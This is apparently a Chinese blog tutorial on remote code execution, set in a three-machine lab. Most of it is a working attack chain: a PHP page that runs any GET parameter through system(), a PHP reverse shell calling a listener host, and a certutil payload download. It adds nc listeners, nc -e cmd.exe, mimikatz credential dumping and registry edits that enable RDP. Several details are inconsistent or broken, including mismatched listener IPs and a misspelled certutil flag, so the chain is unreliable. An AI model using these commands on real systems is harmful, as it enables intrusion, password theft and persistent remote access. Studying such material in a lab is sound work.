学习参考链接:RCE(远程代码执行漏洞)原理及漏洞利用_rce漏洞原理_C1yas0的博客-CSDN博客
什么是RCE漏洞?
RCE漏洞,是指可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞也叫远程命令/代码执行漏洞
RCE命令分为远程执行命令(执行ping命令)和远程代码执行eval
RCE漏洞分类:
- 命令注入
- 文件包含
- eval执行
RCE漏洞产生的原因:
漏洞的起源是在开发的过程中带有输入-执行功能的系统时,由于输入过滤不严谨,导致的命令产生了注入。
windows系统命令拼接方式:
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
RCE漏洞复现:
1.复现环境
靶机 win11 192.168.31.187
攻击机 win7 192.168.160.135
get shell 机 kali2023 192.168.160.133
2.漏洞复现
- 靶机(192.168.31.187)创建1,php文件
<?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0); //禁用错误报告
$a = $_GET["a"];
system($a);
?>
- 攻击机(192.168.160.135)创建文件2.php
<?php
set_time_limit(0);
$ip="192.168.203.130"; #kali ip
$port=3939;
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){
echo "error";
}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"shell:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);}
fclose($fp);
}?>
3.访问1.php文件
靶机(192.168.31.187)访问1.php文件,输入
http://192.168.31.187(靶机ip)/1.php?a=ipconfig
发现可以执行cmd命令
攻击机(192.168.160.135)也可以访问靶机(192.168.31.187)的1.php文件
4.漏洞利用
利用cmd命令远程下载1.txt文件
将攻击机(192.168.160.135)中的2.php文件上传
certutil -urlcache -split -f http://192.168.160.135(攻击机)/1.txt 2.php
攻击机(192.168.160.135)中访问:
在靶机(192.168.31.187)下的1.php查看上传的攻击机(192.168.160.135)中的2.php文件
http://192.168.31.187(靶机)/1.php?a=certutil -urlcahce -split -f http://192.168.160.135(攻击机)/1.txt 2.php
使用kali的nc监听3939端口
nc -lvvp 3939
攻击机(192.168.160.135)浏览器访问2.php文件
http://192.168.160.135/2.php
监听成功,成功get shell
当然,我们还可以上传mimikatz.exe文件来获取win7系统的所有账号密码
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
获取账号密码后,我们就可以开启远程连接服务了
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
如果开启不成功,则执行下面的命令
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
net start termservice
然后再开启一次远程连接服务
最后使用主机快捷键win+s,搜索mstsc就可以打开Windows远程桌面连接了
nc反弹
向靶机(192.168.31.187)上传nc.exe文件
nc 192.168.31.187 -e C:\windows\system32\cmd.exe
kali监听
nc -lvvp 3939